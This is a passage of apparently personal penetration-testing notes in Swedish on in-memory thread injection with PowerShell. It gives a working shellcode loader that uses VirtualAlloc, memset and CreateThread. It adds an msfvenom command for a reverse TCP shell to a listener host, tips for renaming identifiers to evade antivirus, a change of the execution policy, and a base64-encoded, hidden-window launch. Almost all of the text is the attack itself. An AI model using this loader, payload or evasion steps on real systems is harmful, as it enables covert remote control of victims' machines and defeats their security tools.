2. Manual Thread Injection
In-memory Thread Injection Using Powershell:
- Skapa ps1-skript med följande kod:
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';
$winFunc =
Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;
[Byte[]];
[Byte[]]$sc = <place your shellcode here>;
$size = 0x1000;
if ($sc.Length -gt 0x1000) {$size = $sc.Length};
$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);
for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};
$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
- Generera payload med msfvenom enligt följande:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc
- Byt ut variabelnamn på t.ex. $winFunc och $sc till mer generiska namn för att ungå AVs. Byt även ut namnet på class-namnet från "Win32" till något annat.
- Sätt upp lyssnare och exekvera skriptet på valfritt sätt genom powershell (x86).
- Om det inte tillåts pga execution policies ändra genom:
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
One-liner genom encodedCommand:
Använd https://github.com/darkoperator/powershell_scripts/tree/master och generera en base-64 sträng med hela skriptet genom:
python3 ps_encoder.py -s malware.ps1
Kör sedan commandot i powershell genom:
powershell.exe -encodedCommand ...ByAHQALQBzAGwAZQBlAHAAIAA2ADAAIAB9ADsACgA=
Extra secrecy:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -encodedCommand